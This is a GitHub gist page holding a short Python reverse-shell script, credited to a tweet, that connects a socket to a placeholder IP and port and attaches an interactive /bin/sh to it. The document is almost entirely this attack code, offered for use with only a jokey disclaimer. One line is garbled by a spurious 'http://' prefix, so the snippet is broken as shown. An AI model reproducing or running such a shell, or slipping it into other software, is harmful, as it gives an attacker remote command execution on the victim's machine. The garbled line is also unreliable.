Skip to content

Instantly share code, notes, and snippets.

@darbym
Created May 11, 2018 15:01
Show Gist options
  • Save darbym/9270bd34e001c97faf8e45de2daa4ee7 to your computer and use it in GitHub Desktop.
Save darbym/9270bd34e001c97faf8e45de2daa4ee7 to your computer and use it in GitHub Desktop.
# NO WARRANTY DON'T BE EVIL
# Source: https://twitter.com/UnaPibaGeek/status/929122646968754176
import socket,subprocess,os
IP = '0.0.0.0'
PORT = 1337
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((IP,PORT))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
c = http://subprocess.call (["/bin/sh","-i"])
Python reverse shell #280characters
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment